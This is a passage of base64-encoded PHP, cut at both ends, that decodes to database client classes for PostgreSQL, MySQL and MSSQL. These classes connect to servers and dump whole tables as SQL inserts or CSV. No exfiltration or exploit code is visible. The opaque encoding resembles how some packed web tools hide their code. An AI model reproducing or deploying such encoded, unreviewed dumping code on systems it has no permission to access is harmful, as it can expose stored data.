ICAgICAgICAgICAgICAgICAgICBwZ19jbG9zZSgkdGhpcy0+X2NuY3QpOwogICAgICAgICAgICAgICAgICAgIGlmICghKCR0aGlzLT5fY25jdCA9IHBnX2Nvbm5lY3QoJHRoaXMtPl9wYXJhbXMgLiAnIGRibmFtZT0nIC4gJHRoaXMtPmVzY1BhcmFtKCR2KSkpKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9iYXNlID0gJHY7CiAgICAgICAgICAgICAgICAgICAgcGdfZXhlYygkdGhpcy0+X2NuY3QsICJTRVQgQ0xJRU5UX0VOQ09ESU5HIFRPICciIC4gJHRoaXMtPmNoYXJzZXQoJHRoaXMtPl9jbGNzKSAuICInIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBmZXRjaFNjaGVtYSgpIHsKICAgICAgICAgICAgICAgIHJldHVybiAoJHYgPSBwZ19mZXRjaF9yb3coJHRoaXMtPl9yZXMpKSA/ICR2WzBdIDogRkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hUYWJsZSgpIHsKICAgICAgICAgICAgICAgIHJldHVybiAoJHYgPSBwZ19mZXRjaF9yb3coJHRoaXMtPl9yZXMpKSA/ICR2WzBdIDogRkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZ2V0VGFibGVTaXplKCRiLCAkcywgJHQpIHsKICAgICAgICAgICAgICAgIGlmICgoJHYgPSBwZ19leGVjKCR0aGlzLT5fY25jdCwgJ1NFTEVDVCBDT1VOVCgqKSBGUk9NICcgLiBwZ3NxbEVzY05hbWUoJHMsICR0KSkpKSB7CiAgICAgICAgICAgICAgICAgICAgJHYgPSBwZ19mZXRjaF9yb3coJHYpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdlswXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJldHVybiAnIj8iJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBmdW5jdGlvbiBnZXRDb2x1bW5zKCRiLCAkcywgJHQpIHsKICAgICAgICAgICAgICAgICRhID0gcGFyZW50OjpnZXRDb2x1bW5zKCRiLCAkcywgJHQpOwogICAgICAgICAgICAgICAgaWYgKCRhKQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkYTsKICAgICAgICAgICAgICAgICRhID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNC4zJyAmJiAoJHYgPSBwZ19tZXRhX2RhdGEoJHRoaXMtPl9jbmN0LCAkcyAuICcuJyAuICR0KSkpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdiBhcyAkayA9PiAkaSkgewogICAgICAgICAgICAgICAgICAgICAgICAkYVska10gPSBzdHJ0b3VwcGVyKCRpWyd0eXBlJ10pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGlbJ25vdCBudWxsJ10pCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYVska10gLj0gJyBOT1QgTlVMTCc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkYTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNC4yJyAmJiAoJHEgPSBwZ19leGVjKCR0aGlzLT5fY25jdCwgJ1NFTEVDVCAqIEZST00gJyAuIHBnc3FsRXNjTmFtZSgkcywgJHQpIC4gJyBMSU1JVCAwJykpKSB7CiAgICAgICAgICAgICAgICAgICAgJGkgPSAwOwogICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJHYgPSBwZ19maWVsZF9uYW1lKCRxLCAkaSkpICE9PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdID0gcGdfZmllbGRfdHlwZSgkcSwgJGkrKyk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCgkdiA9IHBnX2V4ZWMoJHRoaXMtPl9jbmN0LCAnU0VMRUNUICogRlJPTSAnIC4gcGdzcWxFc2NOYW1lKCRzLCAkdCkgLiAnIExJTUlUIDEnKSkgJiYgKCR2ID0gcGdfZmV0Y2hfYXJyYXkoJHRoaXMtPl9yZXMsIE5VTEwsIFBHU1FMX0FTU09DKSkpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkdiBhcyAkaykKICAgICAgICAgICAgICAgICAgICAgICAgJGFbJGtdID0gJyc7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIHF1ZXJ5KCR2KSB7CiAgICAgICAgICAgICAgICByZXR1cm4gKCR0aGlzLT5fcmVzID0gcGdfZXhlYygkdGhpcy0+X2NuY3QsICR2KSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hBc3NvYygpIHsKICAgICAgICAgICAgICAgIHJldHVybiBwZ19mZXRjaF9hcnJheSgkdGhpcy0+X3JlcywgTlVMTCwgUEdTUUxfQVNTT0MpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGZldGNoUm93KCkgewogICAgICAgICAgICAgICAgcmV0dXJuIHBnX2ZldGNoX3JvdygkdGhpcy0+X3Jlcyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZHVtcCgkYiwgJHMsICR0LCAkYywgJGYpIHsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnNldEJhc2UoJGIpKQogICAgICAgICAgICAgICAgICAgIHJldHVybiBzcHJpbnRmKEVfQ0hOR0RCLCAkYiwgJHMsICR0KTsKICAgICAgICAgICAgICAgICRpID0gJyc7CiAgICAgICAgICAgICAgICBpZiAoJGYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJHYgPSAkdGhpcy0+Z2V0Q29sdW1ucygkYiwgJHMsICR0KSkKICAgICAgICAgICAgICAgICAgICAgICAgc3FsT3V0Q3JlYXRlKCR0LCAkdiwgJ0JJTkFSWScsICdwZ3NxbEVzY05hbWUnKTsKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICRpID0gc3ByaW50ZihFX0NOU1RDUywgJGIgLiAnLicgLiAkcyAuICcuJyAuICR0KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRjID0gc3FsSm9pbkNvbHVtbnMoJGMsICdwZ3NxbEVzY05hbWUnKTsKICAgICAgICAgICAgICAgIGlmIChwZ19leGVjKCR0aGlzLT5fY25jdCwgJ0JFR0lOOyBERUNMQVJFIGMgQ1VSU09SIEZPUiBTRUxFQ1QgJyAuICRjIC4gJyBGUk9NICcgLiBwZ3NxbEVzY05hbWUoJHMsICR0KSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoKCR2ID0gcGdfZXhlYygkdGhpcy0+X2NuY3QsICdGRVRDSCBORVhUIEZST00gYycpKSAmJiAoJHYgPSBwZ19mZXRjaF9hcnJheSgkdiwgTlVMTCwgUEdTUUxfQVNTT0MpKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRJbnNlcnQocGdzcWxFc2NOYW1lKCR0KSwgJGMpOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGltcGxvZGUoJzsnLCBhcnJheV9rZXlzKCR2KSksICJcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICRjID0gJHRoaXMtPl9jbmN0OwogICAgICAgICAgICAgICAgICAgICAgICAkZCA9IEZBTFNFOwogICAgICAgICAgICAgICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZCA9ICRmID8gJywnIDogIlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRWYWx1ZXMoJHYsICdwZ3NxbEVzY0RhdGEnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjc3ZPdXRWYWx1ZXMoJHYpOwogICAgICAgICAgICAgICAgICAgICAgICB9IHdoaWxlICgoJHYgPSBwZ19leGVjKCRjLCAnRkVUQ0ggTkVYVCBGUk9NIGMnKSkgJiYgKCR2ID0gcGdfZmV0Y2hfcm93KCR2KSkpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI7XG4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBwZ19leGVjKCdDTE9TRSBjOyBST0xMQkFDSycpOwogICAgICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICAgICAgJGkgLj0gc3ByaW50ZihFX1NMQ1REVCwgJGIgLiAnLicgLiAkdCk7CiAgICAgICAgICAgICAgICByZXR1cm4gJGk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gY2xvc2UoKSB7CiAgICAgICAgICAgICAgICBwZ19jbG9zZSgkdGhpcy0+X2NuY3QpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmIChQSFBfVkVSU0lPTiA+PSAnNScpOgogICAgICAgICAgICBjbGFzcyBNeVNRTFBET0NsaWVudCBleHRlbmRzIE15U1FMQmFzZSB7CiAgICAgICAgICAgICAgICBmdW5jdGlvbiBjb25uZWN0KCRoLCAkdSwgJHAsICRiLCAkYykgewogICAgICAgICAgICAgICAgICAgICRhID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJGggIT09IE5VTEwgJiYgKCR2ID0gc3RycnBvcygkaCwgJzonKSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHQgPSAoaW50KSBzdWJzdHIoJGgsICR2ICsgMSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRoID0gc3Vic3RyKCRoLCAwLCAkdik7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICR0ID0gTlVMTDsKICAgICAgICAgICAgICAgICAgICBpZiAoJGggIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgICAgICRhW10gPSAnaG9zdD0nIC4gJGg7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0ICE9PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICAgICAkYVtdID0gJ3BvcnQ9JyAuICR0OwogICAgICAgICAgICAgICAgICAgIGlmICgkYiAhPT0gTlVMTCkKICAgICAgICAgICAgICAgICAgICAgICAgJGFbXSA9ICdkYm5hbWU9JyAuICRiOwogICAgICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR2ID0gbmV3IFBETygnbXlzcWw6JyAuIGltcGxvZGUoJzsnLCAkYSksICR1LCAkcCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmNvbm5FcnJvcigkZS0+Z2V0TWVzc2FnZSgpLCAkaCwgJHUsICRwLCAkYik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICR2LT5xdWVyeSgnU0VUIE5BTUVTICcgLiAkdGhpcy0+Y2hhcnNldCgkYykpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fY25jdCA9ICR2OwogICAgICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gZ2V0VGFibGVTaXplKCRiLCAkdCkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c3FsVGFibGVTaXplKG15c3FsRXNjTmFtZSgkYiwgJHQpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldENvbHVtbnMoJGIsICR0KSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRhID0gcGFyZW50OjpnZXRDb2x1bW5zKCRiLCAkdCkpCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkYTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPmdldENvbHVtbnNOYW1lcyhteXNxbEVzY05hbWUoJGIsICR0KSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIC8qRklYKi8KCQkJCWZ1bmN0aW9uIGZldGNoUm93KCkgewoJCQkJCSRyID0gJHRoaXMtPl9yZXMtPmZldGNoKFBETzo6RkVUQ0hfTlVNKTsKCQkJCQlpZihkZWZpbmVkKCdNUERGSVgnKSAmJiBpc19pbnQoTVBERklYKSkgJHRoaXMtPl9yZXMtPmNsb3NlQ3Vyc29yKCk7CgkJCQkJcmV0dXJuICRyOwoJCQkJfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBmdW5jdGlvbiBkdW1wKCRiLCAkdCwgJGMsICRmKSB7CgkJCQkJZGVmaW5lKCdNUERGSVgnLCAxKTsKCQkJCQkKICAgICAgICAgICAgICAgICAgICBpZiAoJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICRpID0gJHRoaXMtPm91dENyZWF0ZVRhYmxlKCRiLCAkdCk7CiAgICAgICAgICAgICAgICAgICAgJGMgPSBzcWxKb2luQ29sdW1ucygkYywgJ215c3FsRXNjTmFtZScpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fY25jdC0+c2V0QXR0cmlidXRlKFBETzo6TVlTUUxfQVRUUl9VU0VfQlVGRkVSRURfUVVFUlksIEZBTFNFKTsKICAgICAgICAgICAgICAgICAgICBpZiAoKCRxID0gJHRoaXMtPl9jbmN0LT5xdWVyeSgnU0VMRUNUICcgLiAkYyAuICcgRlJPTSAnIC4gbXlzcWxFc2NOYW1lKCRiLCAkdCkpKSAmJiAoJHYgPSAkcS0+ZmV0Y2goUERPOjpGRVRDSF9BU1NPQykpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNxbE91dEluc2VydChteXNxbEVzY05hbWUoJHQpLCAkYyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gaW1wbG9kZSgnOycsIGFycmF5X2tleXMoJHYpKSwgIlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgJGQgPSBGQUxTRTsKICAgICAgICAgICAgICAgICAgICAgICAgZG8gewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRkKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGQgPSAkZiA/ICcsJyA6ICJcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3FsT3V0VmFsdWVzKCR2LCAnbXlzcWxFc2NEYXRhJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY3N2T3V0VmFsdWVzKCR2KTsKICAgICAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoJHYgPSAkcS0+ZmV0Y2goUERPOjpGRVRDSF9OVU0pKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiO1xuIjsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJGkgLj0gc3ByaW50ZihFX1NMQ1REVCwgJGIgLiAnLicgLiAkdCAuICcgJy4gcHJpbnRfcigkdGhpcy0+X2NuY3QtPmVycm9ySW5mbygpLCB0cnVlKSk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNsYXNzIE1TU1FMUERPQ2xpZW50IGV4dGVuZHMgTVNTUUxCYXNlIHsKICAgICAgICAgICAgICAgIHZhciAkY2FuUGFnaW5hdGUgPSBGQUxTRTsKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGNvbm5lY3QoJGQsICR1LCAkcCwgJGIsICRjKSB7CiAgICAgICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICAgICAgJHYgPSBuZXcgUERPKCRkLCAkdSwgJHApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5jb25uRXJyb3IoJGUtPmdldE1lc3NhZ2UoKSwgJGQsICR1LCAkcCwgJGIpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X2NuY3QgPSAkdjsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X2Jhc2UgPSAkYjsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFRhYmxlU2l6ZSgkYiwgJHMsICR0KSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5zcWxUYWJsZVNpemUobXNzcWxFc2NOYW1lKCRiLCAkcywgJHQpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHNldEJhc2UoJHYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJHYgIT09ICR0aGlzLT5fYmFzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X2Jhc2UgPSBOVUxMOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5fY25jdC0+cXVlcnkoJ1VTRSAnIC4gbXNzcWxFc2NOYW1lKCR2KSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5fYmFzZSA9ICR2OwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldENvbHVtbnMoJGIsICRzLCAkdCkgewogICAgICAgICAgICAgICAgICAgIGlmICgkYSA9IHBhcmVudDo6Z2V0Q29sdW1ucygkYiwgJHMsICR0KSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRhOwogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+Z2V0Q29sdW1uc05hbWVzKG1zc3FsRXNjTmFtZSgkYiwgJHMsICR0KSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmdW5jdGlvbiBzZWxlY3QoJGIsICRzLCAkdCwgJGMsICRvLCAkbCkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cXVlcnkoJ1NFTEVDVCBUT1AgJyAuICRsIC4gJyAnIC4gc3FsSm9pbkNvbHVtbnMoJGMsICdtc3NxbEVzY05hbWUnKSAuICcgRlJPTSAnIC4gbXNzcWxFc2NOYW1lKCRzLCAkdCkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gZHVtcCgkYiwgJHMsICR0LCAkYywgJGYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zZXRCYXNlKCRiKSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHNwcmludGYoRV9DSE5HREIsICRiLCAkcywgJHQpOwogICAgICAgICAgICAgICAgICAgICRpID0gJyc7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdiA9ICR0aGlzLT5nZXRDb2x1bW5zKCRiLCAkcywgJHQpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3FsT3V0Q3JlYXRlKCR0LCAkdiwgJ0JJTkFSWScsICdtc3NxbEVzY05hbWUnKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSBzcHJpbnRmKEVfQ05TVENTLCAkYiAuICcuJyAuICRzIC4gJy4nIC4gJHQpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkYyA9IHNxbEpvaW5Db2x1bW5zKCRjLCAnbXNzcWxFc2NOYW1lJyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCgkcSA9ICR0aGlzLT5fY25jdC0+cXVlcnkoJ1NFTEVDVCAnIC4gJGMgLiAnIEZST00gJyAuIG1zc3FsRXNjTmFtZSgkcywgJHQpKSkgJiYgKCR2ID0gJHEtPmZldGNoKFBETzo6RkVUQ0hfQVNTT0MpKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRJbnNlcnQobXNzcWxFc2NOYW1lKCR0KSwgJGMpOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGltcGxvZGUoJzsnLCBhcnJheV9rZXlzKCR2KSksICJcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICRkID0gRkFMU0U7CiAgICAgICAgICAgICAgICAgICAgICAgIGRvIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRkOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkID0gJGYgPyAnLCcgOiAiXG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNxbE91dFZhbHVlcygkdiwgJ21zc3FsRXNjRGF0YScpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNzdk91dFZhbHVlcygkdik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gd2hpbGUgKCR2ID0gJHEtPmZldGNoKFBETzo6RkVUQ0hfTlVNKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZikKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjtcbiI7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICRpIC49IHNwcmludGYoRV9TTENURFQsICRiIC4gJy4nIC4gJHMgLiAnLicgLiAkdCk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hCYXNlKCkgewogICAgICAgICAgICAgICAgICAgIGlmICgoJHYgPSAkdGhpcy0+X3Jlcy0+ZmV0Y2goUERPOjpGRVRDSF9OVU0pKSB8fCAoJHRoaXMtPl9yZXMtPm5leHRSb3dzZXQoKSAmJiAoJHYgPSAkdGhpcy0+X3Jlcy0+ZmV0Y2goUERPOjpGRVRDSF9OVU0pKSkpCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdlswXTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmdW5jdGlvbiBmZXRjaFNjaGVtYSgpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPl9yZXMtPmZldGNoQ29sdW1uKDEpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gZmV0Y2hUYWJsZSgpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoKCR2ID0gJHRoaXMtPl9yZXMtPmZldGNoKFBETzo6RkVUQ0hfTlVNKSkgfHwgKCR0aGlzLT5fcmVzLT5uZXh0Um93c2V0KCkgJiYgKCR2ID0gJHRoaXMtPl9yZXMtPmZldGNoKFBETzo6RkVUQ0hfTlVNKSkpKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gY291bnQoJHYpID09PSAxID8gJHZbMF0gOiAkdlsyXTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gRkFMU0U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmdW5jdGlvbiBuZXh0UmVzdWx0KCkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+X3Jlcy0+bmV4dFJvd3NldCgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNsYXNzIE1TU1FMREJMSUJDbGllbnQgZXh0ZW5kcyBNU1NRTFBET0NsaWVudCB7CiAgICAgICAgICAgICAgICBmdW5jdGlvbiBjb25uZWN0KCRoLCAkdSwgJHAsICRiLCAkYykgewogICAgICAgICAgICAgICAgICAgICRhID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJGggIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgICAgICRhW10gPSAnaG9zdD0nIC4gJGg7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRiICE9PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICAgICAkYVtdID0gJ2RibmFtZT0nIC4gJGI7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHBhcmVudDo6Y29ubmVjdCgnbXNzcWw6JyAuIGltcGxvZGUoJzsnLCAkYSksICRoLCAkdSwgJHAsICRiLCAkYyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2xhc3MgTVNTUUxPREJDQ2xpZW50IGV4dGVuZHMgTVNTUUxQRE9DbGllbnQgewogICAgICAgICAgICAgICAgZnVuY3Rpb24gY29ubmVjdCgkaCwgJHUsICRwLCAkYiwgJGMpIHsKICAgICAgICAgICAgICAgICAgICAkYSA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRoICE9PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICAgICAkYVtdID0gJ1NlcnZlcj0nIC4gJGg7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRiICE9PSBOVUxMKQogICAgICAgICAgICAgICAgICAgICAgICAkYVtdID0gJ0RhdGFiYXNlPScgLiAkYjsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gcGFyZW50Ojpjb25uZWN0KCdvZGJjOicgLiBpbXBsb2RlKCc7JywgJGEpLCAkaCwgJHUsICRwLCAkYiwgJGMpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNsYXNzIFNRTFNydlBET0NsaWVudCBleHRlbmRzIE1TU1FMUERPQ2xpZW50IHsKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGNvbm5lY3QoJGgsICR1LCAkcCwgJGIsICRjKSB7CiAgICAgICAgICAgICAgICAgICAgJGEgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgICAgIGlmICgkaCAhPT0gTlVMTCkKICAgICAgICAgICAgICAgICAgICAgICAgJGFbXSA9ICdTZXJ2ZXI9JyAuICRoOwogICAgICAgICAgICAgICAgICAgIGlmICgkYiAhPT0gTlVMTCkKICAgICAgICAgICAgICAgICAgICAgICAgJGFbXSA9ICdEYXRhYmFzZT0nIC4gJGI7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHBhcmVudDo6Y29ubmVjdCgnc3Fsc3J2OicgLiBpbXBsb2RlKCc7JywgJGEpLCAkdSwgJHAsICRiLCAkYyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2xhc3MgUEdTUUxQRE9DbGllbnQgZXh0ZW5kcyBQR1NRTEJhc2UgewogICAgICAgICAgICAgICAgZnVuY3Rpb24gY29ubmVjdCgkaCwgJHUsICRwLCAkYiwgJGMpIHsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X2Jhc2UgPSAkYjsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X2NsY3MgPSAkYzsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsbFBhcmFtcygkaCwgJHUsICRwKTsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X3BhcmFtcyA9ICdwZ3NxbDonIC4gJHRoaXMtPl9wYXJhbXM7CiAgICAgICAgICAgICAgICAgICAgJHYgICAgICAgICAgI